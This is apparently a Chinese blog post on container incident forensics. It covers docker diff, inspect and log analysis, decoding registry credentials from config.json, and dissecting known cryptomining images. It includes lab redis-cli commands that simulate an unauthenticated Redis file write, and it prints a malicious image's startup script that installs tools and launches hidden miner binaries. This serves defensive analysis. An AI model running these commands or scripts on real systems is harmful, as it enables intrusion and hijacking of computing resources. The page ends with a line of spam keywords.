<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    容器安全事件排查與響應

    VSole2022-03-15 15:58:53

    聲明

    本文為筆者對實際容器安全事件的歸納,僅代表個人觀點。

    文末為容器安全事件排查與響應思維導圖。

    引子

    定位初始入侵位置

    首先要確認入侵是否發生在容器內,或者說只在容器內。

    場景:zabbix告警一個進程占用非常高,像是挖礦程序/DOS了。

    但是查看進程的PPID卻發現是systemd,這種情況大概率是容器相關了。

    首先獲取程序PID,然后查看對應進程的進程樹是否父進程為containerd-shim。



    上圖比較清晰的介紹了各項之間的邏輯關系,不同docker版本有些區別,具體視情況決定。

    以docker為例,可以通過如下方式確認宿主機內的docker進程及對應的容器名。

    for i in $(docker container ls --format "{{.ID}}"); do docker inspect -f '{{.State.Pid}} {{.Name}}' $i; done
    

    需要提醒的是,在生產環境可能有些輸出進程號為0,這種不是真的PID為0,是此刻容器處于restarting狀態。

    了解環境基本信息

    定位到對應的容器后,需要檢查該容器的一些基本信息。

    檢查容器對外開放端口,是否有根據經驗即可判斷的風險。

    docker ps #當前運行的容器、創建時間、運行狀態、映射的端口
    

    檢查宿主機docker環境,比如是否docker deamon api對外開放,還是有很多運維因為種種原因可能做出這類配置的。

    常見的容器逃逸checklist:

    • 是否掛載了敏感目錄
    • 是否是特權容器
    • 宿主機內核版本是否在常見的逃逸漏洞影響范圍
    • ......

    最后檢查對應鏡像的運行命令,不過多數都是docker-entrypoint.sh,最好有容器管理員側的配合。

    再次確認容器在宿主機的PID

    docker inspect -f '{{.State.Pid}}' <容器ID>
    

    最后是確定當前節點使用的鏡像倉庫,如果使用公網倉庫則需要排查是否存在被惡意拉取可能性,關于這點將在后面章節繼續。

    容器分析

    保存容器現場

    如果需要進行取證就應該先暫停處置等工作,第一步是確保現場的完整性。

    docker commmit <容器ID>docker checkpoint #需要開啟實驗性功能
    

    因為一般跑容器的宿主機都是大內存機器,所以保存機器內存快照其實并不怎么方便。

    場景:這里以常見的redis容器空口令導致redis被寫入私鑰為例。

    環境搭建:使用vulhub環境模擬。

    使用redis-cli連接空口令的redis,并在tmp目錄寫入名為hack的文件。

    config set dir /tmpset shell hackedconfig set dbfilename hacksaveexit
    

    容器的變更

    入侵者在入侵容器后,做了什么變更,這個是比較關鍵的信息。

    docker diff <容器ID>
    

    C /tmpA /tmp/hack
    

    類型解釋如下:

    | A | 添加了文件或目錄 |

    | --- | --- |

    | D | 文件或目錄被刪除 |

    | C | 文件或目錄已更改 |

    查看文件時間(常見的容器基礎鏡像都不帶ll命令)

    $ docker exec -i <容器ID> ls /tmp -altotal 8drwxrwxrwt 1 root  root   31 Mar  6 02:46 .drwxr-xr-x 1 root  root   17 Mar  6 02:24 ..-rw-r--r-- 1 redis redis 112 Mar  6 02:24 hack
    

    不過生產環境噪音肯定非常大,需要一定安全知識、其他信息進行過濾。

    深入容器基本信息

    docker info #docker引擎的相關信息docker inspect -f   docker inspect --format="{{json .Mounts}}" <容器ID> | jq #目錄在宿主機的具體掛載位置docker inspect --format="{{json .NetworkSettings}}" <容器ID> | jq #查看網絡信息docker inspect 80d15c023c6d | grep com.docker.compose #查看docker-compose路徑、鏡像、
    

    容器日志分析

    docker logs 所收集的日志是只包含標準輸出(STDOUT)與標準錯誤輸出(STDERR),所以粒度可能是不夠的。而且容器一旦重啟,docker log便會丟失。

    許多知名項目在移植到docker時,也考慮到了這點,以nginx的Dockerfile為例,就是直接將access.log和error.log 軟鏈接到stdout和stderr。

    ln -sf /dev/stdout /var/log/nginx/access.logln -sf /dev/stderr /var/log/nginx/error.log 
    

    2017年,Matt Stine在接受InfoQ采訪時將Observability(可觀測性)歸納為云原生的特征。在目前的CNCF中,可觀測性體系的產品主要分為Monitoring監控、Logging日志 、Tracing調用鏈。

    因此如果有外部日志服務器,那么直接到日志服務器進行檢索即可,可能有更多的數據源、更專業的檢索工具,可以更好的分析安全事件。本文主要討論關于沒有持久化日志的情況。

    繼續分析上面的場景

    docker logs <容器ID>
    


    1:C 06 Mar 02:24:04.043 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo1:C 06 Mar 02:24:04.043 # Redis version=4.0.14, bits=64, commit=00000000, modified=0, pid=1, just started1:C 06 Mar 02:24:04.043 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf1:M 06 Mar 02:24:04.044 * Running mode=standalone, port=6379.1:M 06 Mar 02:24:04.044 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.1:M 06 Mar 02:24:04.044 # Server initialized1:M 06 Mar 02:24:04.044 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.1:M 06 Mar 02:24:04.044 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issueswith Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.1:M 06 Mar 02:24:04.044 * Ready to accept connections1:M 06 Mar 02:24:33.332 * DB saved on disk
    

    可以看到在06 Mar 02:24:33保存了一個DB

    結合容器變更信息中,tmp目錄下的文件時間,可以判斷出該容器是在06 Mar 02:24被入侵,但是這個時間不完全對,因為容器的時區沒有設置,date命令可以看到使用的是UTC時區。

    $docker exec -i <容器ID> dateSun Mar  6 02:30:08 UTC 2022
    

    因為容器啟動時未配置時區,默認會使用UTC。

    因為是UTC時區,所以就需要將時間+8小時即Mar 6 10:30:08。

    其他安全設備日志

    這點不多談,容器技術在設計時考慮了很多安全性,但是基礎的安全建設、設備還是需要的。

    需要注意的是廠商有無容器安全案例?對于K8S等環境,POD、Node間東西向的流量是否能收集?

    鏡像分析

    假如容器是因為被投毒,所以造成的失陷,可以通過以下方式排查。當然,如果發生了項目文件泄露也可以分析鏡像排查,比如是否有.git等。

    首選確定是否使用了docker-compose構建?如果使用,docker-compose.yml文件內容是哪些?

    直接使用docker inspect ,就可以看到docker-compose的路徑。

    $docker inspect <容器ID> | grep com.docker.compose
    

    鏡像倉庫

    首先確定容器使用的鏡像:是否使用了鏡像倉庫,除了直接問機器管理員還可以自己摸索(這點在攻擊者角度也是一樣的),直接通過docker info 命令查看即可。

    不過,同樣需要關注的是鏡像倉庫的憑據。和其他Linux軟件一樣,secret一般都在用戶的環境變量。

    如$HOME/.docker/config.json,甚至openshift都可以通過該文件創建secret(也可以自定義的,參數是--config,且優先級更高)。

    $oc create secret generic dockerhub \    --from-file=.dockerconfigjson= \    --type=kubernetes.io/dockerconfigjson
    

    回歸主線,查看以下json文件

    $cat /root/.docker/config.json
    

    192.168.xxxx.xxx:8888即是倉庫對應的IP:ort

    {        "auths": {                "192.168.xxxx.xxx:8888": {                        "auth": "YWRtaW46SGFyYm9yMTIzNDU="                }        }}
    

    這里auth的value就是用戶名:密碼,可以直接base64解碼。

    $echo "YWRtaW46SGFyYm9yMTIzNDU=" | base64 -dadmin:Harbor12345
    

    除了其他機器失陷,導致鏡像倉庫憑據泄露,進而導致鏡像被惡意拉取。當然也可能是harbor項目配置不當,比如配置成了public項目、registry錯誤配置或利用了harbor漏洞...

    鏡像掃描

    新版本的docker已經和synk合作提供鏡像掃描服務,當然也可以使用一些開源的鏡像掃描工具比如Trivy、Clair,或者是鏡像倉庫掃描器,比如新版本harbor就是默認集成了,其他的商業容器安全平臺一般也有Adapter集成harbor用于掃描。

    在掃描過程中可以發現一些應用漏洞(需要排除大量誤報)+配置錯誤。

    鏡像分析

    在確保基礎鏡像的安全性后,分析鏡像主要有兩點:提取出鏡像的構建過程和鏡像構建過程中引用的文件。

    場景模擬:dockerhub上的一個挖礦鏡像

    docker pull hsww/xmrig-centos7:v6.12.2
    

    鏡像的構建過程

    使用docker history

    docker history --no-trunc hsww/xmrig-centos7:v6.12.2
    

    效果如下,其實有點難理解,但是優點是有時間等信息。

    IMAGE                                                                     CREATED         CREATED BY                           SIZE      COMMENTsha256:3960a79adeabfa493f9fb8e183808d291d48f01ed56218f8d3364518d2cd302a   9 months ago    /bin/sh -c #(nop)  ENTRYPOINT ["/usr/bin/xmrig"]                           0B                                                                 9 months ago    /bin/sh -c #(nop) COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin                           7.69MB                                                                 15 months ago   /bin/sh -c #(nop)  CMD ["/bin/bash"]                           0B                                                                 15 months ago   /bin/sh -c #(nop)  LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00   0B                                                                 15 months ago   /bin/sh -c #(nop) ADD file:b3ebbe8bd304723d43b7b44a6d990cd657b63d93d6a2a9293983a30bfc1dfa53 in /                           204MB
    

    使用dfimage工具

    alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"dfimage -sV=1.36 hsww/xmrig-centos7:v6.12.2
    

    提取出的信息如下

    LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00CMD ["/bin/bash"]COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin  usr/  usr/bin/  usr/bin/xmrig
    ENTRYPOINT ["/usr/bin/xmrig"]
    

    然后把/usr/bin/xmrig文件復制出來分析即可

    /usr/bin/xmrigdocker inspect  hsww/xmrig-centos7:v6.12.2 #查看UpperDir目錄,直接復制其中內容即可docker inspect --format='{{.GraphDriver.Data.UpperDir}}' hsww/xmrig-centos7:v6.12.2
    

    因為我這里使用的是默認的overlay2驅動,可以通過docker info查看當前使用的docker 存儲驅動。

    最下層是lower層,是只讀/鏡像層。

    upper是容器的讀寫層,采用了CoW(寫時復制)機制,只有對文件進行修改才會將文件拷貝到upper層,之后所有的修改操作都會對upper層的副本進行修改。

    upper并列還有workdir層,它的作用是充當一個中間層的作用,每當對upper層里面的副本進行修改時,會先當到workdir,然后再從workdir移動upper層。

    最上層是mergedir,是一個統一圖層,從mergedir可以看到lower,upper,workdir中所有數據的整合,整個容器展現出來的就是mergedir層。

    $tree -l.└── usr    └── bin        └── xmrig
    

    構建引用的文件

    這里使用dockerhub上的docker72590/apache:latest進行分析,這個鏡像也是一個知名的惡意鏡像。

    dfimage -sV=1.36 docker72590/apache:latest
    

    解析出的Dockerfile文件為

    CMD ["/bin/sh"]/bin/shWORKDIR /homeCMD ["sh" "-c" "./.system  \  && tail -f /dev/null"]
    

    可以看到其中的關鍵是/home/.system文件

    docker inspect --format='{{.GraphDriver.Data.UpperDir}}' docker72590/apache:latest
    

    但是目錄下沒有,可能在基礎鏡像時已經包含了這個內容,所以得看LowerDir。

    $docker inspect --format='{{.GraphDriver.Data.LowerDir}}' docker72590/apache:latest/var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff:/var/lib/docker/overlay2/79107e83796cd78d7477d8e0dec22dc363eb56e966d7a49e64858bf5937227e5/diffcd /var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff$tree -a.├── bin│   ├── apache2│   ├── httpd│   └── httpd-crypto├── home│   └── .system├── usr│   └── share│       └── .apache│           └── ...│               ├── apache4│               ├── .dat│               ├── httpd│               ├── .httpd5.pid│               └── .httpd6.pid└── var    └── tmp        ├── .apache        │   └── ...        │       └── httpd        └── .crypto            └── ...                ├── .ddns                ├── .ddns.pid                ├── httpd-crypto                └── .stop.sh
    

    所以在這里無法顯示,也可以通過dive查看鏡像構建過程引用的文件。

    docker pull wagoodman/dive #拉取dive鏡像docker run --rm -it \    -v /var/run/docker.sock:/var/run/docker.sock \    wagoodman/dive:latest  docker72590/apache:latest
    

    注意這里的層ID

    提取鏡像

    docker save docker72590/apache:latest -o apache.bin
    

    使用binwalk進行提取,其實也可以直接解壓,這里我直接解壓

    docker save docker72590/apache:latest -o apache.tarmkdir apache/tar xvf  apache.tar -C apache/
    

    根據dive的信息,直接看對應的一層,找到.system,有個經驗技巧就是鏡像第一層會在最上面。

    $ls a40defa7c3de20011509b2acfc6d12137efcf033df032bc34c67f04582c88a53/home -alhtotal 4.0Kdrwxr-xr-x. 2 root root  21 Dec  6 16:57 .drwxr-xr-x. 6 root root  95 Mar  6 03:22 ..-rwxr-xr-x. 1 1000 1000 466 Nov 23 11:33 .system
    

    因為啟動方式是sh啟動,所以可以查看文件內容。

    #/bin/bashexport LC_ALL=C.UTF-8export LANG=C.UTF-8 export DOCKER_API_VERSION=1.24
    
    ping -c 3 -w 5 google.com 2>/dev/null 1>/dev/nullif [ $? != 0 ];then    sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories  fi mkdir -p /var/tmp/.apache/...
    apk updateapk add redis docker jq libpcap-dev openrc curl --no-cache
    cd /var/tmp/.crypto/..../httpd-crypto
    cd /var/tmp/.apache/..../httpd
    cd /usr/share/.apache/...sleep 60./httpd
    

    這里就不繼續分析了。

    處置手段

    處置第一步應該是下線相關應用/修復應用風險,而不是這些措施,不過有時候有用。

    比如K8S的Cluster Autoscaler和Horizontal Pod Autoscaler等功能,假如頻繁性的在一個node上阻斷操作,master可能判定該node異常,因此將pod調度到其他節點,這種情況甚至可能對于攻擊者毫無感知,同樣的exp打過來效果可能都是一樣的

    但是對于防御者來說,大大增加了處置成本,即不停的在不同node進行處置,而且需要K8S管理員頻繁配合,確定POD調度的node。

    下面提到的方式主要是短時止血的思路,需要結合應用部署實施的實際情況決定。

    暫停容器

    docker pause <容器ID> docker unpause <容器ID> #取消暫停容器
    

    刪除容器,除非迫不得已

    docker rm -f <容器ID>
    

    小結

    dockerredis
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    自去年曝光最活躍的黑客組織 WatchDog 正在利用先進的黑客技術、惡意軟件和安全規避技術開展新的加密劫持活動。
    提及 Redis 自然是耳熟能詳,說起 Redis 的漏洞的話,未授權訪問漏洞、主從復制漏洞等也是張口就來,所以打算對 Redis 進行一個全面的總結。
    .Net之延遲隊列
    2022-07-27 17:54:49
    介紹具有隊列的特性,再給它附加一個延遲消費隊列消息的功能,也就是說可以指定隊列中的消息在哪個時間點被消費。
    聲明 本文為筆者對實際容器安全事件的歸納,僅代表個人觀點。 文末為容器安全事件排查與響應思維導圖。 引子 定位初始入侵位置 首先要確認入侵是否發生在容器內,或者說只在容器內。 場景:zabbix告警一個進程占用非常高,像是挖礦程序/DOS了。 但是查看進程的PPID卻發現是systemd,這種情況大概率是容器相關了。 首先獲取程序PID,然后查看對應進程的進程樹是否父進程為contai
    來自 Censys 的研究人員警告稱,互聯網上暴露的數以萬計未經身份驗證的 Redis 服務器正受到攻擊,威脅行為者正在針對這些實例安裝加密貨幣礦工。在公共互聯網上的 350,675 個 Redis 服務中,有 39,405 個未經身份驗證的 Redis 服務。
    面對越來越多的高并發場景,限流顯示的尤為重要。 當然,限流有許多種實現的方式,Redis具有很強大的功能,我用Redis實踐了三種的實現方式,可以較為簡單的實現其方式。Redis不僅僅是可以做限流,還可以做數據統計,附近的人等功能,這些可能會后續寫到。
    一個未知的攻擊者針對暴露在互聯網上的數萬臺未經身份驗證的 Redis 服務器,試圖安裝加密貨幣礦工。目前尚不清楚所有這些主機是否都被成功入侵。
    想學K8s,必須得先學會 Docker 嗎?K8s 和 Docker 的關系Docker 和 K8s 這兩個經常一起出現,兩者的Logo 看著也有一定聯系一個是背上馱著集裝箱的鯨魚一個是船的舵輪。紅框里的容器運行時負責對接具體的容器實現Docker 公司也推出過自己的容器集群管理方案 Docker Swarm ,跟 K8s 算是競品,但是在生產上幾乎沒人使用。
    Linux用戶請注意:“Spinning YARN”惡意軟件活動針對的是在Apache Hadoop YARN、Docker、Confluence和Redis上運行的配置錯誤的服務器。
    Bleeping Computer 網站披露,Lemon_Duck 僵尸網絡運營商正在進行大規模 Monero 加密挖礦活動,Linux 服務器上的 Docker API 成為其主要攻擊目標。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类